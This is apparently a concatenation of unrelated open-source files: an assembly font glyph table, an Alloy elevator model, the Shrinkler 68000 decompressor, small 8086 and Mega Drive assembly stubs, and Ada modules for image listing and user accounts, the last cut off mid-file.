00101000b db 00101000b db 00101000b db 00101000b db 00101000b db 00101000b GlyphD8: ; Box Drawings Vertical Single And Horizontal Double db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11111111b db 00000000b db 11111111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphD9: ; Box Drawings Light Up And Left db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 11110000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphDA: ; Box Drawings Light Down And Right db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00011111b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphDB: ; Full Block db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b GlyphDC: ; Lower Half Block db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b GlyphDD: ; Left Half Block db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b db 11110000b GlyphDE: ; Right Half Block db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b db 00001111b GlyphDF: ; Upper Half Block db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 11111111b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE0: ; Greek Small Letter Alpha db 00000000b db 00000000b db 00000000b db 00000000b db 00110100b db 01001100b db 01000100b db 01000100b db 01001100b db 00110010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE1: ; Latin Small Letter Sharp S db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01001000b db 01000100b db 01000010b db 01000010b db 01011100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE2: ; Greek Capital Letter Gamma db 00000000b db 00000000b db 01111110b db 01000000b db 01000000b db 01000000b db 01000000b db 01000000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE3: ; Greek Small Letter Pi db 00000000b db 00000000b db 00000000b db 00000000b db 01111110b db 00100100b db 00100100b db 00100100b db 01000100b db 01000010b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE4: ; Greek Capital Letter Sigma db 00000000b db 00000000b db 01111110b db 01000000b db 00100000b db 00010000b db 00010000b db 00100000b db 01000000b db 01111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE5: ; Greek Small Letter Sigma db 00000000b db 00000000b db 00000000b db 00000000b db 00111110b db 01000100b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE6: ; Micro Sign db 00000000b db 00000000b db 00000000b db 00000000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 01111010b db 01000000b db 01000000b db 01000000b db 00000000b db 00000000b db 00000000b GlyphE7: ; Greek Small Letter Tau db 00000000b db 00000000b db 00000000b db 00000000b db 01111100b db 00010000b db 00010000b db 00010000b db 00010000b db 00001100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE8: ; Greek Capital Letter Phi db 00000000b db 00010000b db 00111000b db 01010100b db 10010010b db 10010010b db 10010010b db 10010010b db 01010100b db 00111000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphE9: ; Greek Capital Letter Theta db 00000000b db 00000000b db 00111000b db 01000100b db 10000010b db 10111010b db 10000010b db 10000010b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphEA: ; Greek Capital Letter Omega db 00000000b db 00000000b db 00111000b db 01000100b db 10000010b db 10000010b db 10000010b db 10000010b db 01000100b db 11101110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphEB: ; Greek Small Letter Delta db 00000000b db 00111000b db 01000000b db 00100000b db 00010000b db 00101000b db 01000100b db 01000100b db 01000100b db 00111000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphEC: ; Infinity db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 01101100b db 10010010b db 10010010b db 01101100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphED: ; Greek Small Letter Phi db 00000000b db 00010000b db 00010000b db 00010000b db 00111000b db 01010100b db 01010100b db 01010100b db 01010100b db 00111000b db 00010000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b GlyphEE: ; Greek Small Letter Epsilon db 00000000b db 00000000b db 00000000b db 00000000b db 00111110b db 01000000b db 00111110b db 01000000b db 01000010b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphEF: ; Intersection db 00000000b db 00000000b db 00000000b db 00000000b db 00111000b db 01000100b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF0: ; Identical To db 00000000b db 00000000b db 00000000b db 00111100b db 00000000b db 00111100b db 00000000b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF1: ; Plus-Minus Sign db 00010000b db 00010000b db 00010000b db 11111110b db 00010000b db 00010000b db 00010000b db 00000000b db 11111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF2: ; Greater-Than Or Equal To db 00000000b db 11000000b db 00110000b db 00001100b db 00110000b db 11000000b db 00000000b db 00000000b db 11111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF3: ; Less-Than Or Equal To db 00000000b db 00000110b db 00011000b db 01100000b db 00011000b db 00000110b db 00000000b db 00000000b db 11111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF4: ; Top Half Integral db 00001100b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b GlyphF5: ; Bottom Half Integral db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 00010000b db 01100000b GlyphF6: ; Division Sign db 00000000b db 00000000b db 00000000b db 00010000b db 00000000b db 01111100b db 00000000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF7: ; Almost Equal To db 00000000b db 00000000b db 00000000b db 00110100b db 01011000b db 00000000b db 00110100b db 01011000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF8: ; Degree Sign db 00010000b db 00101000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphF9: ; Bullet Operator db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphFA: ; Middle Dot db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphFB: ; Square Root db 00000001b db 00000001b db 00000010b db 00000010b db 00000100b db 01000100b db 00101000b db 00101000b db 00010000b db 00010000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphFC: ; Superscript Latin Small Letter N db 00000000b db 01111000b db 01000100b db 01000100b db 01000100b db 01000100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphFD: ; Superscript Two db 00111000b db 01000100b db 00000100b db 00011000b db 00100000b db 01111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphFE: ; Black Square db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 01111110b db 01111110b db 01111110b db 01111110b db 01111110b db 01111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b GlyphFF: ; No-Break Space db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b
model-sets/2021-05-06-10-28-11-watform/elevator_nancy.als
WatForm/catalyst
0
4726
<gh_stars>0 open util/ordering[Floor] open util/boolean[] open util/integer[] open util/steps[Snapshot] open util/ordering[Snapshot] // Snapshot definition sig Snapshot extends BaseSnapshot { Elevator_direction : one Direction, Elevator_called : set Floor, Elevator_maintenance : Int, Elevator_current : set Floor } /***************************** STATE SPACE ************************************/ abstract sig SystemState extends StateLabel {} one sig Elevator extends SystemState {} /*************************** TRANSITIONS SPACE ********************************/ one sig Elevator_maintenance extends TransitionLabel {} one sig Elevator_ChangeDirToDown extends TransitionLabel {} one sig Elevator_ChangeDirToUp extends TransitionLabel {} one sig Elevator_MoveUp extends TransitionLabel {} one sig Elevator_MoveDown extends TransitionLabel {} one sig Elevator_DefaultToGround extends TransitionLabel {} one sig Elevator_Idle extends TransitionLabel {} // Transition Elevator_maintenance pred pre_Elevator_maintenance[s:Snapshot] { Elevator in s.conf (s.Elevator_maintenance) = 2 } pred pos_Elevator_maintenance[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } { (s'.Elevator_current) = min[ Floor] (s'.Elevator_direction) = Down (s'.Elevator_maintenance) = 0 { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) (s'.Elevator_current) !in (s'.Elevator_called) } } pred Elevator_maintenance[s, s': Snapshot] { pre_Elevator_maintenance[s] pos_Elevator_maintenance[s, s'] semantics_Elevator_maintenance[s, s'] } pred semantics_Elevator_maintenance[s, s': Snapshot] { s'.taken = Elevator_maintenance } // Transition Elevator_ChangeDirToDown pred pre_Elevator_ChangeDirToDown[s:Snapshot] { Elevator in s.conf { some (s.Elevator_called) (s.Elevator_maintenance) < 2 (s.Elevator_direction) = Up no nexts[ (s.Elevator_current)] & (s.Elevator_called) } } pred pos_Elevator_ChangeDirToDown[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } { (s'.Elevator_direction) = Down (s'.Elevator_maintenance) = (s.Elevator_maintenance).plus[ 1] { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) (s'.Elevator_current) !in (s'.Elevator_called) } } pred Elevator_ChangeDirToDown[s, s': Snapshot] { pre_Elevator_ChangeDirToDown[s] pos_Elevator_ChangeDirToDown[s, s'] semantics_Elevator_ChangeDirToDown[s, s'] } pred semantics_Elevator_ChangeDirToDown[s, s': Snapshot] { s'.taken = Elevator_ChangeDirToDown } // Transition Elevator_ChangeDirToUp pred pre_Elevator_ChangeDirToUp[s:Snapshot] { Elevator in s.conf { some (s.Elevator_called) (s.Elevator_maintenance) < 2 (s.Elevator_direction) = Down no prevs[ (s.Elevator_current)] & (s.Elevator_called) } } pred pos_Elevator_ChangeDirToUp[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } { (s'.Elevator_direction) = Up (s'.Elevator_maintenance) = (s.Elevator_maintenance).plus[ 1] { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) (s'.Elevator_current) !in (s'.Elevator_called) } } pred Elevator_ChangeDirToUp[s, s': Snapshot] { pre_Elevator_ChangeDirToUp[s] pos_Elevator_ChangeDirToUp[s, s'] semantics_Elevator_ChangeDirToUp[s, s'] } pred semantics_Elevator_ChangeDirToUp[s, s': Snapshot] { s'.taken = Elevator_ChangeDirToUp } // Transition Elevator_MoveUp pred pre_Elevator_MoveUp[s:Snapshot] { Elevator in s.conf { some (s.Elevator_called) (s.Elevator_direction) = Up some nexts[ (s.Elevator_current)] & (s.Elevator_called) } } pred pos_Elevator_MoveUp[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } s'.Elevator_direction = s.Elevator_direction s'.Elevator_maintenance = s.Elevator_maintenance { (s'.Elevator_current) = min[ (nexts[ (s.Elevator_current)] & (s.Elevator_called))] (s'.Elevator_current) !in (s'.Elevator_called) { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) } } pred Elevator_MoveUp[s, s': Snapshot] { pre_Elevator_MoveUp[s] pos_Elevator_MoveUp[s, s'] semantics_Elevator_MoveUp[s, s'] } pred semantics_Elevator_MoveUp[s, s': Snapshot] { s'.taken = Elevator_MoveUp } // Transition Elevator_MoveDown pred pre_Elevator_MoveDown[s:Snapshot] { Elevator in s.conf { some (s.Elevator_called) (s.Elevator_direction) = Down some prevs[ (s.Elevator_current)] & (s.Elevator_called) } } pred pos_Elevator_MoveDown[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } s'.Elevator_direction = s.Elevator_direction s'.Elevator_maintenance = s.Elevator_maintenance { (s'.Elevator_current) = max[ (prevs[ (s.Elevator_current)] & (s.Elevator_called))] (s'.Elevator_current) !in (s'.Elevator_called) { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) } } pred Elevator_MoveDown[s, s': Snapshot] { pre_Elevator_MoveDown[s] pos_Elevator_MoveDown[s, s'] semantics_Elevator_MoveDown[s, s'] } pred semantics_Elevator_MoveDown[s, s': Snapshot] { s'.taken = Elevator_MoveDown } // Transition Elevator_DefaultToGround pred pre_Elevator_DefaultToGround[s:Snapshot] { Elevator in s.conf { no (s.Elevator_called) min[ Floor] !in (s.Elevator_current) } } pred pos_Elevator_DefaultToGround[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } s'.Elevator_maintenance = s.Elevator_maintenance { (s'.Elevator_current) = min[ Floor] (s'.Elevator_direction) = Down { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) (s'.Elevator_current) !in (s'.Elevator_called) } } pred Elevator_DefaultToGround[s, s': Snapshot] { pre_Elevator_DefaultToGround[s] pos_Elevator_DefaultToGround[s, s'] semantics_Elevator_DefaultToGround[s, s'] } pred semantics_Elevator_DefaultToGround[s, s': Snapshot] { s'.taken = Elevator_DefaultToGround } // Transition Elevator_Idle pred pre_Elevator_Idle[s:Snapshot] { Elevator in s.conf { no (s.Elevator_called) (s.Elevator_current) = min[ Floor] } } pred pos_Elevator_Idle[s, s':Snapshot] { s'.conf = s.conf - Elevator + { Elevator } s'.Elevator_direction = s.Elevator_direction { (s'.Elevator_maintenance) = 0 { (s.Elevator_called) - (s'.Elevator_current) } in (s'.Elevator_called) (s'.Elevator_current) !in (s'.Elevator_called) } } pred Elevator_Idle[s, s': Snapshot] { pre_Elevator_Idle[s] pos_Elevator_Idle[s, s'] semantics_Elevator_Idle[s, s'] } pred semantics_Elevator_Idle[s, s': Snapshot] { s'.taken = Elevator_Idle } /****************************** INITIAL CONDITIONS ****************************/ pred init[s: Snapshot] { s.conf = { Elevator } no s.taken // Model specific constraints no (s.Elevator_called) (s.Elevator_maintenance) = 1 (s.Elevator_direction) = Down (s.Elevator_current) = max[ Floor] } /***************************** MODEL DEFINITION *******************************/ pred operation[s, s': Snapshot] { Elevator_maintenance[s, s'] or Elevator_ChangeDirToDown[s, s'] or Elevator_ChangeDirToUp[s, s'] or Elevator_MoveUp[s, s'] or Elevator_MoveDown[s, s'] or Elevator_DefaultToGround[s, s'] or Elevator_Idle[s, s'] } pred small_step[s, s': Snapshot] { operation[s, s'] } pred equals[s, s': Snapshot] { s'.conf = s.conf s'.taken = s.taken // Model specific declarations s'.Elevator_direction = s.Elevator_direction s'.Elevator_called = s.Elevator_called s'.Elevator_maintenance = s.Elevator_maintenance s'.Elevator_current = s.Elevator_current } fact { all s: Snapshot | s in initial iff init[s] all s, s': Snapshot | s->s' in nextStep iff small_step[s, s'] all s, s': Snapshot | equals[s, s'] => s = s' path } pred path { all s:Snapshot, s': s.next | operation[s, s'] init[first] } run path for 5 Snapshot, 0 EventLabel, 3 Floor expect 1 sig Floor {} abstract sig Direction {} one sig Up, Down extends Direction {} assert infiniteLiveness { // a floor called is always eventually reached as current // AG ( floorCalled = > AF ( floorCurrent ) ) all f : Floor | ctl_mc[ag[imp_ctl[Elevator_called.f , af[Elevator_current.f]]]] } check infiniteLiveness for exactly 6 Floor , 8 Snapshot, 0 EventLabel expect 0 assert safety { ctl_mc[ag[{ s: Snapshot | (one (s.Elevator_current))}]] } check safety for exactly 6 Floor, 8 Snapshot, 0 EventLabel expect 0 assert finiteLiveness { ctl_mc[af[{ s: Snapshot | ((s.Elevator_maintenance) = 0)}]] } check finiteLiveness for exactly 6 Floor, 8 Snapshot, 0 EventLabel expect 0
Projects/PJZ2/Framework/Depack/Shrinkler_Depack.asm
jonathanbennett73/amiga-pjz-planet-disco-balls
21
85601
; Copyright 1999-2015 <NAME>. ; ; The code herein is free to use, in whole or in part, ; modified or as is, for any legal purpose. ; ; No warranties of any kind are given as to its behavior ; or suitability. INIT_ONE_PROB = $8000 ADJUST_SHIFT = 4 SINGLE_BIT_CONTEXTS = 1 NUM_CONTEXTS = 1536 ; Decompress Shrinkler-compressed data produced with the --data option. ; ; A0 = Compressed data ; A1 = Decompressed data destination ; A2 = Progress callback, can be zero if no callback is desired. ; Callback will be called continuously with ; D0 = Number of bytes decompressed so far ; A0 = Callback argument ; A3 = Callback argument ; ; Uses 3 kilobytes of space on the stack. ; Preserves D2-D7/A2-A6 and assumes callback does the same. ; ; Decompression code may read one longword beyond compressed data. ; The contents of this longword does not matter. Shrinkler_Depack: movem.l d2-d7/a4-a6,-(a7) move.l a0,a4 move.l a1,a5 move.l a1,a6 ; Init range decoder state moveq.l #0,d2 moveq.l #1,d3 moveq.l #1,d4 ror.l #1,d4 ; Init probabilities move.l #NUM_CONTEXTS,d6 .init: move.w #INIT_ONE_PROB,-(a7) subq.w #1,d6 bne.b .init ; D6 = 0 .lit: ; Literal addq.b #1,d6 .getlit: bsr.b GetBit addx.b d6,d6 bcc.b .getlit move.b d6,(a5)+ bsr.b ReportProgress .switch: ; After literal bsr.b GetKind bcc.b .lit ; Reference moveq.l #-1,d6 bsr.b GetBit bcc.b .readoffset .readlength: moveq.l #4,d6 bsr.b GetNumber .copyloop: move.b (a5,d5.l),(a5)+ subq.l #1,d7 bne.b .copyloop bsr.b ReportProgress ; After reference bsr.b GetKind bcc.b .lit .readoffset: moveq.l #3,d6 bsr.b GetNumber moveq.l #2,d5 sub.l d7,d5 bne.b .readlength lea.l NUM_CONTEXTS*2(a7),a7 movem.l (a7)+,d2-d7/a4-a6 rts ReportProgress: move.l a2,d0 beq.b .nocallback move.l a5,d0 sub.l a6,d0 move.l a3,a0 jsr (a2) .nocallback: rts GetKind: ; Use parity as context move.l a5,d1 moveq.l #1,d6 and.l d1,d6 lsl.w #8,d6 bra.b GetBit GetNumber: ; D6 = Number context ; Out: Number in D7 lsl.w #8,d6 .numberloop: addq.b #2,d6 bsr.b GetBit bcs.b .numberloop moveq.l #1,d7 subq.b #1,d6 .bitsloop: bsr.b GetBit addx.l d7,d7 subq.b #2,d6 bcc.b .bitsloop rts ; D6 = Bit context ; D2 = Range value ; D3 = Interval size ; D4 = Input bit buffer ; Out: Bit in C and X readbit: add.l d4,d4 bne.b nonewword move.l (a4)+,d4 addx.l d4,d4 nonewword: addx.w d2,d2 add.w d3,d3 GetBit: tst.w d3 bpl.b readbit lea.l 4+SINGLE_BIT_CONTEXTS*2(a7,d6.l),a1 add.l d6,a1 move.w (a1),d1 ; D1 = One prob lsr.w #ADJUST_SHIFT,d1 sub.w d1,(a1) add.w (a1),d1 mulu.w d3,d1 swap.w d1 sub.w d1,d2 blo.b .one .zero: ; oneprob = oneprob * (1 - adjust) = oneprob - oneprob * adjust sub.w d1,d3 ; 0 in C and X rts .one: ; onebrob = 1 - (1 - oneprob) * (1 - adjust) = oneprob - oneprob * adjust + adjust add.w #$ffff>>ADJUST_SHIFT,(a1) move.w d1,d3 add.w d1,d2 ; 1 in C and X rts
basic-assembly-programs/M4S1-FORMATIVE.asm
ralphcajipe/assembly-8086
0
5865
.MODEL SMALL .STACK 100H DATA SEGMENT NUM1 DB 5H NUM2 DB 2H SUM DB ? ENDS CODE SEGMENT ASSUME DS:DATA CS:CODE MAIN: MOV AX,DATA MOV DS,AX MOV AL,NUM1 ADD AL,NUM2 MOV SUM,AL MOV AH,4CH INT 21H ENDS END MAIN
wireframe/_includes/hint.asm
ArcadeTV/megadrive-samples
5
102201
<reponame>ArcadeTV/megadrive-samples ; Horizontal interrupt - run once per N scanlines (N = specified in VDP register 0xA) INT_HInterrupt: rte INT_Null: rte ; Exception interrupt - called if an error has occured CPU_Exception: ; Just halt the CPU if an error occurred stop #$2700 rte
awa/plugins/awa-images/src/awa-images-beans.adb
twdroeger/ada-awa
81
3494
----------------------------------------------------------------------- -- awa-images-beans -- Image Ada Beans -- Copyright (C) 2016, 2018, 2019 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with ADO.Queries; with ADO.Sessions; with ADO.Objects; with AWA.Services.Contexts; with AWA.Storages.Modules; package body AWA.Images.Beans is package ASC renames AWA.Services.Contexts; -- ------------------------------ -- Load the list of images associated with the current folder. -- ------------------------------ overriding procedure Load_Files (Storage : in out Image_List_Bean) is Ctx : constant ASC.Service_Context_Access := ASC.Current; User : constant ADO.Identifier := Ctx.Get_User_Identifier; Session : ADO.Sessions.Session := ASC.Get_Session (Ctx); Query : ADO.Queries.Context; begin if not Storage.Init_Flags (AWA.Storages.Beans.INIT_FOLDER) then Load_Folder (Storage); end if; Query.Set_Query (AWA.Images.Models.Query_Image_List); Query.Bind_Param ("user_id", User); if Storage.Folder_Bean.Is_Null then Query.Bind_Null_Param ("folder_id"); else Query.Bind_Param ("folder_id", Storage.Folder_Bean.Get_Id); end if; AWA.Images.Models.List (Storage.Image_List_Bean.all, Session, Query); Storage.Flags (AWA.Storages.Beans.INIT_FILE_LIST) := True; end Load_Files; overriding function Get_Value (List : in Image_List_Bean; Name : in String) return Util.Beans.Objects.Object is begin if Name = "images" then return Util.Beans.Objects.To_Object (Value => List.Image_List_Bean, Storage => Util.Beans.Objects.STATIC); elsif Name = "folders" then return Util.Beans.Objects.To_Object (Value => List.Folder_List_Bean, Storage => Util.Beans.Objects.STATIC); elsif Name = "folder" then -- if not List.Init_Flags (INIT_FOLDER) then -- Load_Folder (List); -- end if; if List.Folder_Bean.Is_Null then return Util.Beans.Objects.Null_Object; end if; return Util.Beans.Objects.To_Object (Value => List.Folder_Bean, Storage => Util.Beans.Objects.STATIC); else return Util.Beans.Objects.Null_Object; end if; end Get_Value; -- ------------------------------ -- Create the Image_List_Bean bean instance. -- ------------------------------ function Create_Image_List_Bean (Module : in AWA.Images.Modules.Image_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access is pragma Unreferenced (Module); Object : constant Image_List_Bean_Access := new Image_List_Bean; begin Object.Module := AWA.Storages.Modules.Get_Storage_Module; Object.Folder_Bean := Object.Folder'Access; Object.Folder_List_Bean := Object.Folder_List'Access; Object.Files_List_Bean := Object.Files_List'Access; Object.Image_List_Bean := Object.Image_List'Access; Object.Flags := Object.Init_Flags'Access; return Object.all'Access; end Create_Image_List_Bean; overriding procedure Load (Into : in out Image_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is use type ADO.Identifier; Ctx : constant ASC.Service_Context_Access := ASC.Current; User : constant ADO.Identifier := Ctx.Get_User_Identifier; Session : ADO.Sessions.Session := ASC.Get_Session (Ctx); Query : ADO.Queries.Context; begin if Into.Id = ADO.NO_IDENTIFIER then Outcome := Ada.Strings.Unbounded.To_Unbounded_String ("not-found"); return; end if; -- Get the image information. Query.Set_Query (AWA.Images.Models.Query_Image_Info); Query.Bind_Param (Name => "user_id", Value => User); Query.Bind_Param (Name => "file_id", Value => Into.Id); Into.Load (Session, Query); exception when ADO.Objects.NOT_FOUND => Outcome := Ada.Strings.Unbounded.To_Unbounded_String ("not-found"); end Load; -- ------------------------------ -- Create the Image_Bean bean instance. -- ------------------------------ function Create_Image_Bean (Module : in AWA.Images.Modules.Image_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access is Object : constant Image_Bean_Access := new Image_Bean; begin Object.Module := Module; Object.Id := ADO.NO_IDENTIFIER; return Object.all'Access; end Create_Image_Bean; end AWA.Images.Beans;
source/tabula-users-lists.adb
ytomino/vampire
1
6914
-- The Village of Vampire by YT, このソースコードはNYSLです with Ada.Directories; with Ada.Hierarchical_File_Names; with Ada.IO_Exceptions; with Ada.Streams.Stream_IO; with Tabula.Users.Load; with Tabula.Users.Save; package body Tabula.Users.Lists is use type Ada.Strings.Unbounded.Unbounded_String; procedure Load_Users_Log (List : in out User_List) is begin if not List.Log_Read then begin declare File : Ada.Streams.Stream_IO.File_Type := Ada.Streams.Stream_IO.Open ( Ada.Streams.Stream_IO.In_File, Name => List.Log_File_Name.all); begin Users_Log.Map'Read (Ada.Streams.Stream_IO.Stream (File), List.Log); Ada.Streams.Stream_IO.Close (File); end; exception when Ada.IO_Exceptions.Name_Error => null; end; List.Log_Read := True; end if; end Load_Users_Log; procedure Add_To_Users_Log ( List : in out User_List; Id : in String; Remote_Addr : in String; Remote_Host : in String; Now : in Ada.Calendar.Time) is Item : User_Log_Item := (+Id, +Remote_Addr, +Remote_Host); begin Load_Users_Log (List); Users_Log.Include (List.Log, Item, Now); -- create the directory declare Dir : constant String := Ada.Hierarchical_File_Names.Unchecked_Containing_Directory ( List.Log_File_Name.all); begin if Dir'Length /= 0 then Ada.Directories.Create_Path (Dir); end if; end; -- write the file declare File : Ada.Streams.Stream_IO.File_Type := Ada.Streams.Stream_IO.Create (Name => List.Log_File_Name.all); begin Users_Log.Map'Write (Ada.Streams.Stream_IO.Stream (File), List.Log); Ada.Streams.Stream_IO.Close (File); end; end Add_To_Users_Log; Upper_Subdirectory_Name : constant String := "+A"; function User_Full_Name ( Directory : String; Id : String; Only_Existing : Boolean := False) return String is Lower_Name : constant String := Ada.Hierarchical_File_Names.Compose ( Directory => Directory, Relative_Name => Id); begin if Ada.Directories.Exists (Lower_Name) then return Lower_Name; else declare Upper_Directory : constant String := Ada.Hierarchical_File_Names.Compose ( Directory => Directory, Relative_Name => Upper_Subdirectory_Name); Upper_Name : constant String := Ada.Hierarchical_File_Names.Compose ( Directory => Upper_Directory, Relative_Name => Id); begin if Ada.Directories.Exists (Upper_Name) then return Upper_Name; else if Only_Existing then raise Ada.IO_Exceptions.Name_Error; end if; if Id (Id'First) in 'A' .. 'Z' then return Upper_Name; else return Lower_Name; end if; end if; end; end if; end User_Full_Name; -- implementation function Create ( Directory : not null Static_String_Access; Log_File_Name : not null Static_String_Access) return User_List is begin return ( Directory => Directory, Log_File_Name => Log_File_Name, Log_Read => False, Log => Users_Log.Empty_Map); end Create; function Exists (List : User_List; Id : String) return Boolean is begin declare Dummy_File_Name : constant String := User_Full_Name (List.Directory.all, Id, Only_Existing => True); begin return True; end; exception when Ada.IO_Exceptions.Name_Error => return False; end Exists; procedure Query ( List : in out User_List; Id : in String; Password : in String; Remote_Addr : in String; Remote_Host : in String; Now : in Ada.Calendar.Time; Info : out User_Info; State : out User_State) is begin if Id'Length = 0 then State := Log_Off; elsif not Exists (List, Id) then State := Unknown; else Load (User_Full_Name (List.Directory.all, Id), Info); if Info.Password /= <PASSWORD> (Password) or else not Info.Renamed.Is_Null then State := Invalid; else State := Valid; if Id /= Administrator then if not Info.No_Log then Add_To_Users_Log ( List, Id => Id, Remote_Addr => Remote_Addr, Remote_Host => Remote_Host, Now => Now); else Add_To_Users_Log ( List, Id => Id, Remote_Addr => "", Remote_Host => "", Now => Now); -- log only time end if; end if; end if; end if; end Query; procedure New_User ( List : in out User_List; Id : in String; Password : in String; Remote_Addr : in String; Remote_Host : in String; Now : in Ada.Calendar.Time; Result : out Boolean) is begin if Exists (List, Id) then Result := False; else declare Info : User_Info := ( Password => <PASSWORD> (Password), Creation_Remote_Addr => +Remote_Addr, Creation_Remote_Host => +Remote_Host, Creation_Time => Now, Last_Remote_Addr => +Remote_Addr, Last_Remote_Host => +Remote_Host, Last_Time => Now, Ignore_Request => False, Disallow_New_Village => False, No_Log => False, Renamed => Ada.Strings.Unbounded.Null_Unbounded_String); Full_Name : constant String := User_Full_Name (List.Directory.all, Id); begin -- create the directory declare Dir : constant String := Ada.Hierarchical_File_Names.Unchecked_Containing_Directory (Full_Name); begin if Dir'Length /= 0 then Ada.Directories.Create_Path (Dir); end if; end; -- save the file Save (Full_Name, Info); Result := True; end; end if; exception when Ada.IO_Exceptions.Name_Error => Result := False; end New_User; procedure Update ( 